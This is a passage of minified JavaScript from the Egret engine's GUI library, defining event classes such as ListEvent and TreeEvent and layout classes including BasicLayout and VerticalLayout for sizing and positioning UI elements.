i&&(i=-1);c.call(this,g,l,k);this.oldIndex=j;this.newIndex=i}__extends(e,c);e.dispatchIndexChangeEvent=function(i,n,l,m,j){"undefined"===typeof l&&(l=-1);"undefined"===typeof m&&(m=-1);"undefined"===typeof j&&(j=!1);var k=a.Event._getPropertyData(e);k.oldIndex=l;k.newIndex=m;return a.Event._dispatchByTarget(e,i,n,k,!1,j)};e.CHANGE="change";e.CHANGING="changing";return e}(a.Event);d.IndexChangeEvent=b;b.prototype.__class__="egret.gui.IndexChangeEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(A,y,w,v,t,u,r,p,o,i,j,B,z){"undefined"===typeof y&&(y=!0);"undefined"===typeof w&&(w=!0);"undefined"===typeof v&&(v=0);"undefined"===typeof t&&(t=0);"undefined"===typeof u&&(u=0);"undefined"===typeof r&&(r=!1);"undefined"===typeof p&&(p=!1);"undefined"===typeof o&&(o=!1);"undefined"===typeof i&&(i=!1);"undefined"===typeof j&&(j=-1);"undefined"===typeof B&&(B=null);"undefined"===typeof z&&(z=null);c.call(this,A,y,w,v,t,u,r,p,o,i);this.itemIndex=j;this.item=B;this.itemRenderer=z}__extends(e,c);e.dispatchListEvent=function(i,q,n,o,l,m){"undefined"===typeof n&&(n=null);"undefined"===typeof o&&(o=-1);"undefined"===typeof l&&(l=null);"undefined"===typeof m&&(m=null);var j=a.Event._getPropertyData(e);j.touchPointID=n.touchPointID;j._stageX=n.stageX;j._stageY=n.stageY;j.ctrlKey=n.ctrlKey;j.altKey=n.altKey;j.shiftKey=n.shiftKey;j.touchDown=n.touchDown;j.itemIndex=o;j.item=l;j.itemRenderer=m;a.Event._dispatchByTarget(e,i,q,j)};e.ITEM_ROLL_OUT="itemRollOut";e.ITEM_ROLL_OVER="itemRollOver";e.ITEM_CLICK="itemClick";return e}(a.TouchEvent);d.ListEvent=b;b.prototype.__class__="egret.gui.ListEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,l,k,j,i){"undefined"===typeof l&&(l=!1);"undefined"===typeof k&&(k=!1);"undefined"===typeof j&&(j=null);"undefined"===typeof i&&(i=!1);c.call(this,g,l,k);this.popUp=j;this.modal=i}__extends(e,c);e.dispatchPopUpEvent=function(g,l,j,k){"undefined"===typeof j&&(j=null);"undefined"===typeof k&&(k=!1);var i=a.Event._getPropertyData(e);i.popUp=j;i.modal=k;a.Event._dispatchByTarget(e,g,l,i)};e.ADD_POPUP="addPopUp";e.REMOVE_POPUP="removePopUp";e.BRING_TO_FRONT="bringToFront";return e}(a.Event);d.PopUpEvent=b;b.prototype.__class__="egret.gui.PopUpEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(i,n,m,l,j,k){"undefined"===typeof n&&(n=!1);"undefined"===typeof m&&(m=!1);"undefined"===typeof l&&(l=null);"undefined"===typeof j&&(j=-1);"undefined"===typeof k&&(k=null);c.call(this,i,n,m);this.renderer=l;this.index=j;this.data=k}__extends(e,c);e.dispatchRendererExistenceEvent=function(i,n,l,m,j){"undefined"===typeof l&&(l=null);"undefined"===typeof m&&(m=-1);"undefined"===typeof j&&(j=null);var k=a.Event._getPropertyData(e);k.renderer=l;k.index=m;k.data=j;a.Event._dispatchByTarget(e,i,n,k)};e.RENDERER_ADD="rendererAdd";e.RENDERER_REMOVE="rendererRemove";return e}(a.Event);d.RendererExistenceEvent=b;b.prototype.__class__="egret.gui.RendererExistenceEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(g,l,k,j,i){"undefined"===typeof l&&(l=!1);"undefined"===typeof k&&(k=!1);"undefined"===typeof j&&(j=null);"undefined"===typeof i&&(i=null);c.call(this,g,l,k);this.oldState=j;this.newState=i}__extends(e,c);e.dispatchStateChangeEvent=function(g,l,j,k){"undefined"===typeof j&&(j=null);"undefined"===typeof k&&(k=null);var i=a.Event._getPropertyData(e);i.oldState=j;i.newState=k;a.Event._dispatchByTarget(e,g,l,i)};e.CURRENT_STATE_CHANGE="currentStateChange";e.CURRENT_STATE_CHANGING="currentStateChanging";return e}(a.Event);d.StateChangeEvent=b;b.prototype.__class__="egret.gui.StateChangeEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(f,h,g){"undefined"===typeof h&&(h=!1);"undefined"===typeof g&&(g=!1);c.call(this,f,h,g)}__extends(e,c);e.dispatchTrackBaseEvent=function(f,g){a.Event._dispatchByTarget(e,f,g)};e.THUMB_DRAG="thumbDrag";e.THUMB_PRESS="thumbPress";e.THUMB_RELEASE="thumbRelease";return e}(a.Event);d.TrackBaseEvent=b;b.prototype.__class__="egret.gui.TrackBaseEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(i,n,m,l,j,k){"undefined"===typeof n&&(n=!1);"undefined"===typeof m&&(m=!0);"undefined"===typeof l&&(l=-1);"undefined"===typeof j&&(j=null);"undefined"===typeof k&&(k=null);c.call(this,i,n,m);this.item=j;this.itemRenderer=k;this.itemIndex=l}__extends(e,c);e.dispatchTreeEvent=function(i,q,n,o,l,m){"undefined"===typeof n&&(n=-1);"undefined"===typeof o&&(o=null);"undefined"===typeof l&&(l=null);"undefined"===typeof m&&(m=!1);var j=a.Event._getPropertyData(e);j.itemIndex=n;j.item=o;j.itemRenderer=l;j.opening=m;a.Event._dispatchByTarget(e,i,q,j)};e.ITEM_CLOSE="itemClose";e.ITEM_OPEN="itemOpen";e.ITEM_OPENING="itemOpening";return e}(a.Event);d.TreeEvent=b;b.prototype.__class__="egret.gui.TreeEvent"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._useVirtualLayout=!1}__extends(e,c);Object.defineProperty(e.prototype,"target",{get:function(){return this._target},set:function(f){this._target!=f&&(this._target=f,this.clearVirtualLayoutCache())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"useVirtualLayout",{get:function(){return this._useVirtualLayout},set:function(f){this._useVirtualLayout!=f&&(this._useVirtualLayout=f,this.dispatchEventWith("useVirtualLayoutChanged"),this._useVirtualLayout&&!f&&this.clearVirtualLayoutCache(),this.target&&this.target.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"typicalLayoutRect",{get:function(){return this._typicalLayoutRect},set:function(f){this._typicalLayoutRect!=f&&(this._typicalLayoutRect=f,this.target&&this.target.invalidateSize())},enumerable:!0,configurable:!0});e.prototype.scrollPositionChanged=function(){};e.prototype.clearVirtualLayoutCache=function(){};e.prototype.elementAdded=function(f){};e.prototype.elementRemoved=function(f){};e.prototype.measure=function(){};e.prototype.updateDisplayList=function(g,f){};return e}(a.EventDispatcher);d.LayoutBase=b;b.prototype.__class__="egret.gui.LayoutBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._mouseWheelSpeed=20}__extends(e,c);Object.defineProperty(e.prototype,"useVirtualLayout",{set:function(f){},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"mouseWheelSpeed",{get:function(){return this._mouseWheelSpeed},set:function(f){0==f&&(f=1);this._mouseWheelSpeed=f},enumerable:!0,configurable:!0});e.prototype.getElementBoundsLeftOfScrollRect=function(g){var f=new a.Rectangle;f.x=g.x-this._mouseWheelSpeed;f.right=g.x;return f};e.prototype.getElementBoundsRightOfScrollRect=function(g){var f=new a.Rectangle;f.x=g.right;f.right=g.right+this._mouseWheelSpeed;return f};e.prototype.getElementBoundsAboveScrollRect=function(g){var f=new a.Rectangle;f.y=g.y-this._mouseWheelSpeed;f.bottom=g.y;return f};e.prototype.getElementBoundsBelowScrollRect=function(g){var f=new a.Rectangle;f.y=g.bottom;f.bottom=g.bottom+this._mouseWheelSpeed;return f};e.prototype.measure=function(){c.prototype.measure.call(this);if(null!=this.target){for(var x=0,w=0,v=this.target.numElements,u=0;u<v;u++){var s=this.target.getElementAt(u);if(s&&s.includeInLayout){var t=s.horizontalCenter,r=s.verticalCenter,p=s.left,o=s.right,i=s.top,j=s.bottom;isNaN(p)||isNaN(o)?isNaN(t)?isNaN(p)&&isNaN(o)?t=s.preferredX:(t=isNaN(p)?0:p,t+=isNaN(o)?0:o):t=2*Math.abs(t):t=p+o;isNaN(i)||isNaN(j)?isNaN(r)?isNaN(i)&&isNaN(j)?r=s.preferredY:(r=isNaN(i)?0:i,r+=isNaN(j)?0:j):r=2*Math.abs(r):r=i+j;j=s.preferredHeight;x=Math.ceil(Math.max(x,t+s.preferredWidth));w=Math.ceil(Math.max(w,r+j))}}this.target.measuredWidth=x;this.target.measuredHeight=w}};e.prototype.updateDisplayList=function(G,D){c.prototype.updateDisplayList.call(this,G,D);if(null!=this.target){for(var B=this.target.numElements,A=0,t=0,u=0;u<B;u++){var r=this.target.getElementAt(u);if(null!=r&&r.includeInLayout){var p=r.horizontalCenter,o=r.verticalCenter,i=r.left,j=r.right,J=r.top,F=r.bottom,E=r.percentWidth,H=r.percentHeight,C=NaN,I=NaN;isNaN(i)||isNaN(j)?isNaN(E)||(C=Math.round(G*Math.min(0.01*E,1))):C=G-j-i;isNaN(J)||isNaN(F)?isNaN(H)||(I=Math.round(D*Math.min(0.01*H,1))):I=D-F-J;r.setLayoutBoundsSize(C,I);E=r.layoutBoundsWidth;H=r.layoutBoundsHeight;C=isNaN(p)?isNaN(i)?isNaN(j)?r.layoutBoundsX:G-E-j:i:Math.round((G-E)/2+p);I=isNaN(o)?isNaN(J)?isNaN(F)?r.layoutBoundsY:D-H-F:J:Math.round((D-H)/2+o);r.setLayoutBoundsPosition(C,I);A=Math.max(A,C+E);t=Math.max(t,I+H)}}this.target.setContentSize(A,t)}};return e}(d.LayoutBase);d.BasicLayout=b;b.prototype.__class__="egret.gui.BasicLayout"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.LEFT="left";c.JUSTIFY_USING_GAP="justifyUsingGap";c.JUSTIFY_USING_WIDTH="justifyUsingWidth";return c}();d.ColumnAlign=b;b.prototype.__class__="egret.gui.ColumnAlign"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.TOP="top";c.JUSTIFY_USING_GAP="justifyUsingGap";c.JUSTIFY_USING_HEIGHT="justifyUsingHeight";return c}();d.RowAlign=b;b.prototype.__class__="egret.gui.RowAlign"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.ROWS="rows";c.COLUMNS="columns";return c}();d.TileOrientation=b;b.prototype.__class__="egret.gui.TileOrientation"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(g){var e=function(b){function c(){b.call(this);this._horizontalAlign=a.HorizontalAlign.LEFT;this._verticalAlign=a.VerticalAlign.TOP;this._gap=6;this._padding=0;this._paddingBottom=this._paddingTop=this._paddingRight=this._paddingLeft=NaN;this.elementSizeTable=[];this.endIndex=this.startIndex=-1;this.indexInViewCalculated=!1;this.maxElementWidth=0}__extends(c,b);Object.defineProperty(c.prototype,"horizontalAlign",{get:function(){return this._horizontalAlign},set:function(f){this._horizontalAlign!=f&&(this._horizontalAlign=f,this.target&&this.target.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"verticalAlign",{get:function(){return this._verticalAlign},set:function(f){this._verticalAlign!=f&&(this._verticalAlign=f,this.target&&this.target.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"gap",{get:function(){return this._gap},set:function(f){this._gap!=f&&(this._gap=f,this.invalidateTargetSizeAndDisplayList(),this.hasEventListener("gapChanged")&&this.dispatchEventWith("gapChanged"))},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"padding",{get:function(){return this._padding},set:function(f){this._padding!=f&&(this._padding=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"paddingLeft",{get:function(){return this._paddingLeft},set:function(f){this._paddingLeft!=f&&(this._paddingLeft=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"paddingRight",{get:function(){return this._paddingRight},set:function(f){this._paddingRight!=f&&(this._paddingRight=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"paddingTop",{get:function(){return this._paddingTop},set:function(f){this._paddingTop!=f&&(this._paddingTop=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"paddingBottom",{get:function(){return this._paddingBottom},set:function(f){this._paddingBottom!=f&&(this._paddingBottom=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});c.prototype.invalidateTargetSizeAndDisplayList=function(){this.target&&(this.target.invalidateSize(),this.target.invalidateDisplayList())};c.prototype.measure=function(){b.prototype.measure.call(this);this.target&&(this.useVirtualLayout?this.measureVirtual():this.measureReal())};c.prototype.measureVirtual=function(){for(var s=this.typicalLayoutRect?this.typicalLayoutRect.height:22,r=Math.max(this.maxElementWidth,this.typicalLayoutRect?this.typicalLayoutRect.width:71),o=this.getElementTotalSize(),p=this.target.getElementIndicesInView(),n=p.length,k=0;k<n;k++){var j=p[k],i=this.target.getElementAt(j);if(null!=i&&i.includeInLayout){var h=i.preferredWidth,o=o+i.preferredHeight,o=o-(isNaN(this.elementSizeTable[j])?s:this.elementSizeTable[j]),r=Math.max(r,h)}}k=isNaN(this._padding)?0:this._padding;s=isNaN(this._paddingLeft)?k:this._paddingLeft;p=isNaN(this._paddingRight)?k:this._paddingRight;n=isNaN(this._paddingTop)?k:this._paddingTop;k=isNaN(this._paddingBottom)?k:this._paddingBottom;n+=k;this.target.measuredWidth=Math.ceil(r+(s+p));this.target.measuredHeight=Math.ceil(o+n)};c.prototype.measureReal=function(){for(var j=this.target.numElements,h=j,n=0,o=0,m=0;m<j;m++){var k=this.target.getElementAt(m);if(k&&k.includeInLayout){var i=k.preferredWidth,o=o+k.preferredHeight,n=Math.max(n,i)}else{h--}}j=isNaN(this._gap)?0:this._gap;o+=(h-1)*j;k=isNaN(this._padding)?0:this._padding;h=isNaN(this._paddingLeft)?k:this._paddingLeft;j=isNaN(this._paddingRight)?k:this._paddingRight;m=isNaN(this._paddingTop)?k:this._paddingTop;k=isNaN(this._paddingBottom)?k:this._paddingBottom;m+=k;this.target.measuredWidth=Math.ceil(n+(h+j));this.target.measuredHeight=Math.ceil(o+m)};c.prototype.updateDisplayList=function(f,h){b.prototype.updateDisplayList.call(this,f,h);this.target&&(this.useVirtualLayout?this.updateDisplayListVirtual(f,h):this.updateDisplayListReal(f,h))};c.prototype.getStartPosition=function(i){var h=isNaN(this._padding)?0:this._padding,l=isNaN(this._paddingTop)?h:this._paddingTop,h=isNaN(this._gap)?0:this._gap;if(!this.useVirtualLayout){var m;this.target&&(m=this.target.getElementAt(i));return m?m.y:l}m=this.typicalLayoutRect?this.typicalLayoutRect.height:22;for(var k=0;k<i;k++){var j=this.elementSizeTable[k];isNaN(j)&&(j=m);l+=j+h}return l};c.prototype.getElementSize=function(f){return this.useVirtualLayout?(f=this.elementSizeTable[f],isNaN(f)&&(f=this.typicalLayoutRect?this.typicalLayoutRect.height:22),f):this.target?this.target.getElementAt(f).height:0};c.prototype.getElementTotalSize=function(){for(var i=isNaN(this._gap)?0:this._gap,h=this.typicalLayoutRect?this.typicalLayoutRect.height:22,l=0,m=this.target.numElements,k=0;k<m;k++){var j=this.elementSizeTable[k];isNaN(j)&&(j=h);l+=j+i}return l-i};c.prototype.elementAdded=function(f){b.prototype.elementAdded.call(this,f);this.elementSizeTable.splice(f,0,this.typicalLayoutRect?this.typicalLayoutRect.height:22)};c.prototype.elementRemoved=function(f){b.prototype.elementRemoved.call(this,f);this.elementSizeTable.splice(f,1)};c.prototype.clearVirtualLayoutCache=function(){b.prototype.clearVirtualLayoutCache.call(this);this.elementSizeTable=[];this.maxElementWidth=0};c.prototype.findIndexAt=function(j,h,n){var o=Math.floor(0.5*(h+n)),m=this.getStartPosition(o),k=this.getElementSize(o),i=isNaN(this._gap)?0:this._gap;return j>=m&&j<m+k+i?o:h==n?-1:j<m?this.findIndexAt(j,h,Math.max(h,o-1)):this.findIndexAt(j,Math.min(o+1,n),n)};c.prototype.scrollPositionChanged=function(){b.prototype.scrollPositionChanged.call(this);this.useVirtualLayout&&this.getIndexInView()&&(this.indexInViewCalculated=!0,this.target.invalidateDisplayList())};c.prototype.getIndexInView=function(){if(!this.target||0==this.target.numElements||isNaN(this.target.width)||0==this.target.width||isNaN(this.target.height)||0==this.target.height){return this.startIndex=this.endIndex=-1,!1}var h=isNaN(this._padding)?0:this._padding,f=isNaN(this._paddingTop)?h:this._paddingTop,j=isNaN(this._paddingBottom)?h:this._paddingBottom,h=this.target.numElements,k=this.getStartPosition(h-1)+this.elementSizeTable[h-1]+j,i=this.target.verticalScrollPosition;if(i>k-j){return this.endIndex=this.startIndex=-1,!1}j=this.target.verticalScrollPosition+this.target.height;if(j<f){return this.endIndex=this.startIndex=-1,!1}f=this.startIndex;k=this.endIndex;this.startIndex=this.findIndexAt(i,0,h-1);-1==this.startIndex&&(this.startIndex=0);this.endIndex=this.findIndexAt(j,0,h-1);-1==this.endIndex&&(this.endIndex=h-1);return f!=this.startIndex||k!=this.endIndex};c.prototype.updateDisplayListVirtual=function(P,O){this.indexInViewCalculated?this.indexInViewCalculated=!1:this.getIndexInView();var M=isNaN(this._padding)?0:this._padding,N=isNaN(this._paddingLeft)?M:this._paddingLeft,L=isNaN(this._paddingRight)?M:this._paddingRight,K=isNaN(this._paddingBottom)?M:this._paddingBottom,J=isNaN(this._gap)?0:this._gap,I=this.target.numElements;if(-1==this.startIndex||-1==this.endIndex){N=this.getStartPosition(I)-J+K,this.target.setContentSize(this.target.contentWidth,Math.ceil(N))}else{this.target.setVirtualElementIndicesInView(this.startIndex,this.endIndex);var F=this._horizontalAlign==a.HorizontalAlign.JUSTIFY||this._horizontalAlign==a.HorizontalAlign.CONTENT_JUSTIFY,H=this._horizontalAlign==a.HorizontalAlign.CONTENT_JUSTIFY,B=0;F||(this._horizontalAlign==a.HorizontalAlign.CENTER?B=0.5:this._horizontalAlign==a.HorizontalAlign.RIGHT&&(B=1));var j=Math.max(0,P-N-L),i=Math.ceil(j),o,h=this.typicalLayoutRect?this.typicalLayoutRect.height:22,M=Math.max(this.typicalLayoutRect?this.typicalLayoutRect.width:71,this.maxElementWidth);if(H){for(var p=this.startIndex;p<=this.endIndex;p++){(o=this.target.getVirtualElementAt(p))&&o.includeInLayout&&(this.maxElementWidth=Math.max(this.maxElementWidth,o.preferredWidth))}i=Math.ceil(Math.max(j,this.maxElementWidth))}for(var G=0,r=0,p=0,t=!1,D=this.startIndex;D<=this.endIndex;D++){if(G=0,o=this.target.getVirtualElementAt(D)){o.includeInLayout?(F?(G=N,o.setLayoutBoundsSize(i,NaN)):(G=(j-o.layoutBoundsWidth)*B,G=0<G?G:0,G=N+G),H||(this.maxElementWidth=Math.max(this.maxElementWidth,o.preferredWidth)),p=Math.max(p,o.layoutBoundsWidth),t||(r=isNaN(this.elementSizeTable[D])?h:this.elementSizeTable[D],r!=o.layoutBoundsHeight&&(t=!0)),0==D&&0<this.elementSizeTable.length&&this.elementSizeTable[D]!=o.layoutBoundsHeight&&(this.typicalLayoutRect=null),this.elementSizeTable[D]=o.layoutBoundsHeight,r=this.getStartPosition(D),o.setLayoutBoundsPosition(Math.round(G),Math.round(r))):this.elementSizeTable[D]=0}}p+=N+L;N=this.getStartPosition(I)-J+K;this.target.setContentSize(Math.ceil(p),Math.ceil(N));(t||M<this.maxElementWidth)&&this.target.invalidateSize()}};c.prototype.updateDisplayListReal=function(ac,ab){var aa=isNaN(this._padding)?0:this._padding,Y=isNaN(this._paddingLeft)?aa:this._paddingLeft,Z=isNaN(this._paddingRight)?aa:this._paddingRight,X=isNaN(this._paddingTop)?aa:this._paddingTop,aa=isNaN(this._paddingBottom)?aa:this._paddingBottom,W=isNaN(this._gap)?0:this._gap,V=Math.max(0,ac-Y-Z),S=Math.max(0,ab-X-aa),U=this._verticalAlign==a.VerticalAlign.JUSTIFY,P=this._horizontalAlign==a.HorizontalAlign.JUSTIFY||this._horizontalAlign==a.HorizontalAlign.CONTENT_JUSTIFY,p=0;P||(this._horizontalAlign==a.HorizontalAlign.CENTER?p=0.5:this._horizontalAlign==a.HorizontalAlign.RIGHT&&(p=1));var j=this.target.numElements,t=j,i=Y,K=X,T,M,N=0,i=0,Q=[],O,R=S;for(T=0;T<j;T++){(M=this.target.getElementAt(T))&&M.includeInLayout?(this.maxElementWidth=Math.max(this.maxElementWidth,M.preferredWidth),U?N+=M.preferredHeight:isNaN(M.percentHeight)?R-=M.preferredHeight:(i+=M.percentHeight,O=new d,O.layoutElement=M,O.percent=M.percentHeight,O.min=M.minHeight,O.max=M.maxHeight,Q.push(O))):t--}var R=R-(t-1)*W,R=0<R?R:0,L=S-N-W*(t-1),J,r=t,o=[];if(U){if(0>L){J=R/t;for(T=0;T<j;T++){(M=this.target.getElementAt(T))&&M.includeInLayout&&(M=M.preferredHeight,M<=J&&(R-=M,r--))}R=0<R?R:0}}else{if(0<i){c.flexChildrenProportionally(S,R,i,Q);S=0;M=Q.length;for(T=0;T<M;T++){O=Q[T],i=Math.round(O.size+S),S+=O.size-i,o[O.layoutElement.hashCode]=i,R-=i}R=0<R?R:0}}this._verticalAlign==a.VerticalAlign.MIDDLE?K=X+0.5*R:this._verticalAlign==a.VerticalAlign.BOTTOM&&(K=X+R);Q=Y;M=0;O=Math.ceil(V);this._horizontalAlign==a.HorizontalAlign.CONTENT_JUSTIFY&&(O=Math.ceil(Math.max(V,this.maxElementWidth)));S=0;t=NaN;for(T=0;T<j;T++){i=0,(M=this.target.getElementAt(T))&&M.includeInLayout&&(t=NaN,U?(i=NaN,0<L?i=R*M.preferredHeight/N:0>L&&M.preferredHeight>J&&(i=R/r),isNaN(i)||(t=Math.round(i+S),S+=i-t)):t=o[M.hashCode],P?(i=Y,M.setLayoutBoundsSize(O,t)):(i=NaN,isNaN(M.percentWidth)||(i=Math.min(100,M.percentWidth),i=Math.round(V*i*0.01)),M.setLayoutBoundsSize(i,t),i=(V-M.layoutBoundsWidth)*p,i=0<i?i:0,i=Y+i),M.setLayoutBoundsPosition(Math.round(i),Math.round(K)),t=Math.ceil(M.layoutBoundsWidth),M=Math.ceil(M.layoutBoundsHeight),Q=Math.max(Q,i+t),X=Math.max(X,K+M),K+=M+W)}this.target.setContentSize(Math.ceil(Q+Z),Math.ceil(X+aa))};c.flexChildrenProportionally=function(v,u,r,t){var p=t.length,o;do{o=!0;var k=u-v*r/100;0<k?u-=k:k=0;for(var j=u/r,h=0;h<p;h++){var i=t[h],w=i.percent*j;if(w<i.min){o=i.min;i.size=o;t[h]=t[--p];t[p]=i;r-=i.percent;k>=o||(u-=o-k);o=!1;break}else{if(w>i.max){o=i.max;i.size=o;t[h]=t[--p];t[p]=i;r-=i.percent;k>=o||(u-=o-k);o=!1;break}else{i.size=w}}}}while(!o)};return c}(g.LayoutBase);g.VerticalLayout=e;e.prototype.__class__="egret.gui.VerticalLayout";var d=function(){return function(){this.size=0}}();d.prototype.__class__="ChildInfo"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(g){var e=function(b){function c(){b.call(this);this._horizontalAlign=a.HorizontalAlign.LEFT;this._verticalAlign=a.VerticalAlign.TOP;this._gap=6;this._padding=0;this._paddingBottom=this._paddingTop=this._paddingRight=this._paddingLeft=NaN;this.elementSizeTable=[];this.endIndex=this.startIndex=-1;this.indexInViewCalculated=!1;this.maxElementHeight=0}__extends(c,b);Object.defineProperty(c.prototype,"horizontalAlign",{get:function(){return this._horizontalAlign},set:function(f){this._horizontalAlign!=f&&(this._horizontalAlign=f,this.target&&this.target.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"verticalAlign",{get:function(){return this._verticalAlign},set:function(f){this._verticalAlign!=f&&(this._verticalAlign=f,this.target&&this.target.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"gap",{get:function(){return this._gap},set:function(f){this._gap!=f&&(this._gap=f,this.invalidateTargetSizeAndDisplayList(),this.hasEventListener("gapChanged")&&this.dispatchEventWith("gapChanged"))},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"padding",{get:function(){return this._padding},set:function(f){this._padding!=f&&(this._padding=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"paddingLeft",{get:function(){return this._paddingLeft},set:function(f){this._paddingLeft!=f&&(this._paddingLeft=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"paddingRight",{get:function(){return this._paddingRight},set:function(f){this._paddingRight!=f&&(this._paddingRight=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"paddingTop",{get:function(){return this._paddingTop},set:function(f){this._paddingTop!=f&&(this._paddingTop=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(c.prototype,"paddingBottom",{get:function(){return this._paddingBottom},set:function(f){this._paddingBottom!=f&&(this._paddingBottom=f,this.invalidateTargetSizeAndDisplayList())},enumerable:!0,configurable:!0});c.prototype.invalidateTargetSizeAndDisplayList=function(){this.target&&(this.target.invalidateSize(),this.target.invalidateDisplayList())};c.prototype.measure=function(){b.prototype.measure.call(this);this.target&&(this.useVirtualLayout?this.measureVirtual():this.measureReal())};c.prototype.measureVirtual=function(){for(var s=this.typicalLayoutRect?this.typicalLayoutRect.height:22,r=this.typicalLayoutRect?this.typicalLayoutRect.width:71,o=this.getElementTotalSize(),s=Math.max(this.maxElementHeight,s),p=this.target.getElementIndicesInView(),n=p.length,k=0;k<n;k++){var j=p[k],i=this.target.getElementAt(j);if(null!=i&&i.includeInLayout){var h=i.preferredHeight,o=o+i.preferredWidth,o=o-(isNaN(this.elementSizeTable[j])?r:this.elementSizeTable[j]),s=Math.max(s,h)}}k=isNaN(this._padding)?0:this._padding;r=isNaN(this._paddingLeft)?k:this._paddingLeft;p=isNaN(this._paddingRight)?k:this._paddingRight;n=isNaN(this._paddingTop)?k:this._paddingTop;k=isNaN(this._paddingBottom)?k:this._paddingBottom;n+=k;this.target.measuredWidth=Math.ceil(o+(r+p));this.target.measuredHeight=Math.ceil(s+n)};c.prototype.measureReal=function(){for(var j=this.target.numElements,h=j,n=0,o=0,m=0;m<j;m++){var k=this.target.getElementAt(m);if(k&&k.includeInLayout){var i=k.preferredHeight,n=n+k.preferredWidth,o=Math.max(o,i)}else{h--}}j=isNaN(this._gap)?0:this._gap;n+=(h-1)*j;k=isNaN(this._padding)?0:this._padding;h=isNaN(this._paddingLeft)?k:this._paddingLeft;j=isNaN(this._paddingRight)?k:this._paddingRight;m=isNaN(this._paddingTop)?k:this._paddingTop;k=isNaN(this._paddingBottom)?k:this._paddingBottom;m+=k;this.target.measuredWidth=Math.ceil(n+(h+j));this.target.measuredHeight=Math.ceil(o+m)};c.prototype.updateDisplayList=function(f,h){b.prototype.updateDisplayList.call(this,f,h);this.target&&(this.useVirtualLayout?this.updateDisplayListVirtual(f,h):this.updateDisplayListReal(f,h))};c.prototype.getStartPosition=function(i){var h=isNaN(this._padding)?0:this._padding,l=isNaN(this._paddingLeft)?h:this._paddingLeft,h=isNaN(this._gap)?0:this._gap;if(!this.useVirtualLayout){var m;this.target&&(m=this.target.getElementAt(i));return m?m.x:l}m=this.typicalLayoutRect?this.typicalLayoutRect.width:71;for(var k=0;k<i;k++){var j=this.elementSizeTable[k];isNaN(j)&&(j=m);l+=j+h}return l};c.prototype.getElementSize=function(f){return this.useVirtualLayout?(f=this.elementSizeTable[f],isNaN(f)&&(f=this.typicalLayoutRect?this.typicalLayoutRect.width:71),f):this.target?this.target.getElementAt(f).width:0};c.prototype.getElementTotalSize=function(){for(var 